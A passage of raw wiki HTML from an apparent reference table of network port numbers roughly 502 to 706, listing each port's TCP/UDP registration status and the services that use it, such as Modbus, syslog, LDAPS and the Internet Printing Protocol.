href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>502</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Modbus\" title=\"Modbus\">Modbus</a> Protocol\n</td></tr>\n<tr>\n<td>504</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Citadel/UX\" title=\"Citadel/UX\">Citadel</a>, multiservice protocol for dedicated clients for the Citadel groupware system\n</td></tr>\n<tr>\n<td>510</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>FirstClass Protocol (FCP), used by <a href=\"/wiki/FirstClass\" title=\"FirstClass\">FirstClass</a> client/server groupware system\n</td></tr>\n<tr>\n<td rowspan=\"2\">512\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Remote_Process_Execution\" class=\"mw-redirect\" title=\"Remote Process Execution\">Rexec</a>, Remote Process Execution\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>comsat, together with <a href=\"/wiki/Biff_(Unix)\" title=\"Biff (Unix)\">biff</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">513\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Rlogin\" class=\"mw-redirect\" title=\"Rlogin\">rlogin</a>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Who<sup id=\"cite_ref-rfc1340_90-0\" class=\"reference\"><a href=\"#cite_note-rfc1340-90\">&#91;89&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">514\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Remote_Shell\" title=\"Remote Shell\">Remote Shell</a>, used to execute non-interactive commands on a remote system (Remote Shell, rsh, remsh)\n</td></tr>\n<tr>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Syslog\" title=\"Syslog\">Syslog</a>,<sup id=\"cite_ref-apple-kb-HT202944_11-27\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> used for system logging\n</td></tr>\n<tr>\n<td>515</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Line_Printer_Daemon_protocol\" title=\"Line Printer Daemon protocol\">Line Printer Daemon</a> (LPD),<sup id=\"cite_ref-apple-kb-HT202944_11-28\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> print service\n</td></tr>\n<tr>\n<td>517</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Talk_(software)\" title=\"Talk (software)\">Talk</a>\n</td></tr>\n<tr>\n<td>518</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>NTalk\n</td></tr>\n<tr>\n<td rowspan=\"2\">520\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>efs, extended file name server\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Routing_Information_Protocol\" title=\"Routing Information Protocol\">Routing Information Protocol</a> (RIP)\n</td></tr>\n<tr>\n<td>521</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RIPng\" class=\"mw-redirect\" title=\"RIPng\">Routing Information Protocol Next Generation</a> (RIPng)\n</td></tr>\n<tr>\n<td>524</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NetWare_Core_Protocol\" title=\"NetWare Core Protocol\">NetWare Core Protocol</a> (NCP) is used for a variety things such as access to primary NetWare server resources, Time Synchronization, etc.\n</td></tr>\n<tr>\n<td>525</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Timed, <a href=\"/wiki/Timeserver\" class=\"mw-redirect\" title=\"Timeserver\">Timeserver</a>\n</td></tr>\n<tr>\n<td>530</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Remote_procedure_call\" title=\"Remote procedure call\">Remote procedure call</a> (RPC)\n</td></tr>\n<tr>\n<td>532</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>netnews<sup id=\"cite_ref-apple-kb-HT202944_11-29\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>533</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>netwall, for emergency broadcasts\n</td></tr>\n<tr>\n<td>540</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Unix-to-Unix Copy Protocol (<a href=\"/wiki/UUCP\" title=\"UUCP\">UUCP</a>)\n</td></tr>\n<tr>\n<td>542</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Commerce\" title=\"Commerce\">commerce</a> (Commerce Applications)\n</td></tr>\n<tr>\n<td>543</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>klogin, <a href=\"/wiki/Kerberos_(protocol)\" title=\"Kerberos (protocol)\">Kerberos</a> login\n</td></tr>\n<tr>\n<td>544</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>kshell, Kerberos Remote shell\n</td></tr>\n<tr>\n<td>546</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DHCPv6\" title=\"DHCPv6\">DHCPv6</a> client\n</td></tr>\n<tr>\n<td>547</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>DHCPv6 server\n</td></tr>\n<tr>\n<td>548</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apple_Filing_Protocol\" title=\"Apple Filing Protocol\">Apple Filing Protocol</a> (AFP) over <a href=\"/wiki/Transmission_Control_Protocol\" title=\"Transmission Control Protocol\">TCP</a><sup id=\"cite_ref-apple-kb-HT202944_11-30\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>550</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>new-rwho, new-who<sup id=\"cite_ref-rfc1340_90-1\" class=\"reference\"><a href=\"#cite_note-rfc1340-90\">&#91;89&#93;</a></sup>\n</td></tr>\n<tr>\n<td>554</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Real_Time_Streaming_Protocol\" title=\"Real Time Streaming Protocol\">Real Time Streaming Protocol</a> (RTSP)<sup id=\"cite_ref-apple-kb-HT202944_11-31\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>556</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Remotefs, <a href=\"/wiki/Remote_File_System\" class=\"mw-redirect\" title=\"Remote File System\">RFS</a>, rfs_server\n</td></tr>\n<tr>\n<td>560</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>rmonitor, Remote Monitor\n</td></tr>\n<tr>\n<td>561</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>monitor\n</td></tr>\n<tr>\n<td>563</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NNTP\" class=\"mw-redirect\" title=\"NNTP\">NNTP</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a> (NNTPS)\n</td></tr>\n<tr>\n<td>564</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/9P_(protocol)\" title=\"9P (protocol)\">9P</a> (<a href=\"/wiki/Plan_9_from_Bell_Labs\" title=\"Plan 9 from Bell Labs\">Plan 9</a>)\n</td></tr>\n<tr>\n<td>585</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Previously assigned for use of <a href=\"/wiki/Internet_Message_Access_Protocol\" title=\"Internet Message Access Protocol\">Internet Message Access Protocol</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a> (IMAPS), now deregistered in favour of port 993.<sup id=\"cite_ref-oreilly-fire-2ndEd_91-0\" class=\"reference\"><a href=\"#cite_note-oreilly-fire-2ndEd-91\">&#91;90&#93;</a></sup>\n</td></tr>\n<tr>\n<td>587</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Mail_submission_agent\" class=\"mw-redirect\" title=\"Mail submission agent\">email message submission</a><sup id=\"cite_ref-apple-kb-HT202944_11-32\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-92\" class=\"reference\"><a href=\"#cite_note-92\">&#91;91&#93;</a></sup> (<a href=\"/wiki/Simple_Mail_Transfer_Protocol\" title=\"Simple Mail Transfer Protocol\">SMTP</a>)\n</td></tr>\n<tr>\n<td>591</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/FileMaker\" title=\"FileMaker\">FileMaker</a> 6.0 (and later) Web Sharing (HTTP Alternate, also see port 80)\n</td></tr>\n<tr>\n<td>593</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>HTTP RPC Ep Map, <a href=\"/wiki/Remote_procedure_call\" title=\"Remote procedure call\">Remote procedure call</a> over <a href=\"/wiki/Hypertext_Transfer_Protocol\" title=\"Hypertext Transfer Protocol\">Hypertext Transfer Protocol</a>, often used by <a href=\"/wiki/Distributed_Component_Object_Model\" title=\"Distributed Component Object Model\">Distributed Component Object Model</a> services and <a href=\"/wiki/Microsoft_Exchange_Server\" title=\"Microsoft Exchange Server\">Microsoft Exchange Server</a>\n</td></tr>\n<tr>\n<td>601</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Reliable <a href=\"/wiki/Syslog\" title=\"Syslog\">Syslog</a> Service — used for system logging\n</td></tr>\n<tr>\n<td>604</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>TUNNEL profile,<sup id=\"cite_ref-93\" class=\"reference\"><a href=\"#cite_note-93\">&#91;92&#93;</a></sup> a protocol for <a href=\"/wiki/BEEP\" title=\"BEEP\">BEEP</a> <a href=\"/wiki/Peer-to-peer\" title=\"Peer-to-peer\">peers</a> to form an <a href=\"/wiki/Application_layer\" title=\"Application layer\">application layer</a> <a href=\"/wiki/Tunneling_protocol\" title=\"Tunneling protocol\">tunnel</a>\n</td></tr>\n<tr>\n<td>623</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ASF Remote Management and Control Protocol (ASF-RMCP) &amp; IPMI Remote Management Protocol\n</td></tr>\n<tr>\n<td>625</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Open Directory Proxy (ODProxy)<sup id=\"cite_ref-apple-kb-HT202944_11-33\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">631\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Printing_Protocol\" title=\"Internet Printing Protocol\">Internet Printing Protocol</a> (IPP)<sup id=\"cite_ref-apple-kb-HT202944_11-34\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Common_Unix_Printing_System\" class=\"mw-redirect\" title=\"Common Unix Printing System\">Common Unix Printing System</a> (CUPS) administration console (extension to IPP)\n</td></tr>\n<tr>\n<td>635</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>RLZ DBase\n</td></tr>\n<tr>\n<td>636</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Lightweight_Directory_Access_Protocol\" title=\"Lightweight Directory Access Protocol\">Lightweight Directory Access Protocol</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a> (LDAPS)<sup id=\"cite_ref-apple-kb-HT202944_11-35\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>639</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Multicast_Source_Discovery_Protocol\" title=\"Multicast Source Discovery Protocol\">Multicast Source Discovery Protocol</a>, MSDP\n</td></tr>\n<tr>\n<td>641</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>SupportSoft Nexus Remote Command (control/listening), a proxy gateway connecting remote control traffic\n</td></tr>\n<tr>\n<td>643</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>SANity\n</td></tr>\n<tr>\n<td>646</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Label_Distribution_Protocol\" title=\"Label Distribution Protocol\">Label Distribution Protocol</a> (LDP), a routing protocol used in <a href=\"/wiki/Multiprotocol_Label_Switching\" title=\"Multiprotocol Label Switching\">MPLS</a> networks\n</td></tr>\n<tr>\n<td>647</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Dynamic_Host_Configuration_Protocol#Reliability\" title=\"Dynamic Host Configuration Protocol\">DHCP Failover</a> protocol<sup id=\"cite_ref-94\" class=\"reference\"><a href=\"#cite_note-94\">&#91;93&#93;</a></sup>\n</td></tr>\n<tr>\n<td>648</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Registry Registrar Protocol (RRP)<sup id=\"cite_ref-95\" class=\"reference\"><a href=\"#cite_note-95\">&#91;94&#93;</a></sup>\n</td></tr>\n<tr>\n<td>651</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>IEEE-MMS\n</td></tr>\n<tr>\n<td>653</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>SupportSoft Nexus Remote Command (data), a proxy gateway connecting remote control traffic\n</td></tr>\n<tr>\n<td>654</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Media Management System (MMS) Media Management Protocol (MMP)<sup id=\"cite_ref-96\" class=\"reference\"><a href=\"#cite_note-96\">&#91;95&#93;</a></sup>\n</td></tr>\n<tr>\n<td>655</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tinc_(protocol)\" title=\"Tinc (protocol)\">Tinc</a> VPN daemon\n</td></tr>\n<tr>\n<td>657</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> RMC (Remote monitoring and Control) protocol, used by <a href=\"/wiki/IBM_System_p\" title=\"IBM System p\">System p5</a> <a href=\"/wiki/IBM_AIX\" title=\"IBM AIX\">AIX</a> Integrated Virtualization Manager (IVM)<sup id=\"cite_ref-97\" class=\"reference\"><a href=\"#cite_note-97\">&#91;96&#93;</a></sup> and <a href=\"/wiki/IBM_Hardware_Management_Console\" title=\"IBM Hardware Management Console\">Hardware Management Console</a> to connect managed <a href=\"/wiki/LPAR\" class=\"mw-redirect\" title=\"LPAR\">logical partitions (LPAR)</a> to enable dynamic partition reconfiguration\n</td></tr>\n<tr>\n<td>660</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MacOS_Server\" title=\"MacOS Server\">macOS Server</a> administration,<sup id=\"cite_ref-IANA_2-7\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup> version 10.4 and earlier<sup id=\"cite_ref-apple-kb-HT202944_11-36\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\"><a href=\"/wiki/Number_of_the_beast\" title=\"Number of the beast\">666</a>\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Doom_(franchise)\" title=\"Doom (franchise)\">Doom</a>, the first online <a href=\"/wiki/First-person_shooter\" title=\"First-person shooter\">first-person shooter</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a rel=\"nofollow\" class=\"external text\" href=\"http://www.aircrack-ng.org/doku.php?id=airserv-ng\">airserv-ng</a>, <a href=\"/wiki/Aircrack-ng\" title=\"Aircrack-ng\">aircrack-ng</a>'s server for remote-controlling wireless devices\n</td></tr>\n<tr>\n<td>674</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Application_Configuration_Access_Protocol\" title=\"Application Configuration Access Protocol\">Application Configuration Access Protocol</a> (ACAP)\n</td></tr>\n<tr>\n<td>688</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>REALM-RUSD (ApplianceWare Server Appliance Management Protocol)\n</td></tr>\n<tr>\n<td>690</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Velneo Application Transfer Protocol (VATP)\n</td></tr>\n<tr>\n<td>691</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft\" title=\"Microsoft\">MS</a> <a href=\"/wiki/Microsoft_Exchange_Server\" title=\"Microsoft Exchange Server\">Exchange</a> Routing\n</td></tr>\n<tr>\n<td>694</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Linux-HA\" title=\"Linux-HA\">Linux-HA</a> high-availability heartbeat\n</td></tr>\n<tr>\n<td>695</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IEEE\" class=\"mw-redirect\" title=\"IEEE\">IEEE</a> Media Management System over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">SSL</a> (IEEE-MMS-SSL)<sup id=\"cite_ref-98\" class=\"reference\"><a href=\"#cite_note-98\">&#91;97&#93;</a></sup>\n</td></tr>\n<tr>\n<td>698</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Optimized_Link_State_Routing_protocol\" class=\"mw-redirect\" title=\"Optimized Link State Routing protocol\">Optimized Link State Routing</a> (OLSR)\n</td></tr>\n<tr>\n<td>700</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Extensible_Provisioning_Protocol\" title=\"Extensible Provisioning Protocol\">Extensible Provisioning Protocol</a> (EPP), a protocol for communication between <a href=\"/wiki/Domain_name_registry\" title=\"Domain name registry\">domain name registries</a> and <a href=\"/wiki/Domain_name_registrar\" title=\"Domain name registrar\">registrars</a> (RFC 5734)\n</td></tr>\n<tr>\n<td>701</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Link Management Protocol (LMP),<sup id=\"cite_ref-99\" class=\"reference\"><a href=\"#cite_note-99\">&#91;98&#93;</a></sup> a protocol that runs between a pair of <a href=\"/wiki/Node_(networking)\" title=\"Node (networking)\">nodes</a> and is used to manage <a href=\"/wiki/Teletraffic_engineering\" title=\"Teletraffic engineering\">traffic engineering</a> (TE) <a href=\"/wiki/Telecommunications_link\" title=\"Telecommunications link\">links</a>\n</td></tr>\n<tr>\n<td>702</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>IRIS<sup id=\"cite_ref-100\" class=\"reference\"><a href=\"#cite_note-100\">&#91;99&#93;</a></sup><sup id=\"cite_ref-101\" class=\"reference\"><a href=\"#cite_note-101\">&#91;100&#93;</a></sup> (Internet Registry Information Service) over <a href=\"/wiki/BEEP\" title=\"BEEP\">BEEP</a> (Blocks Extensible Exchange Protocol)<sup id=\"cite_ref-102\" class=\"reference\"><a href=\"#cite_note-102\">&#91;101&#93;</a></sup> (RFC 3983)\n</td></tr>\n<tr>\n<td>706</td>\n<td 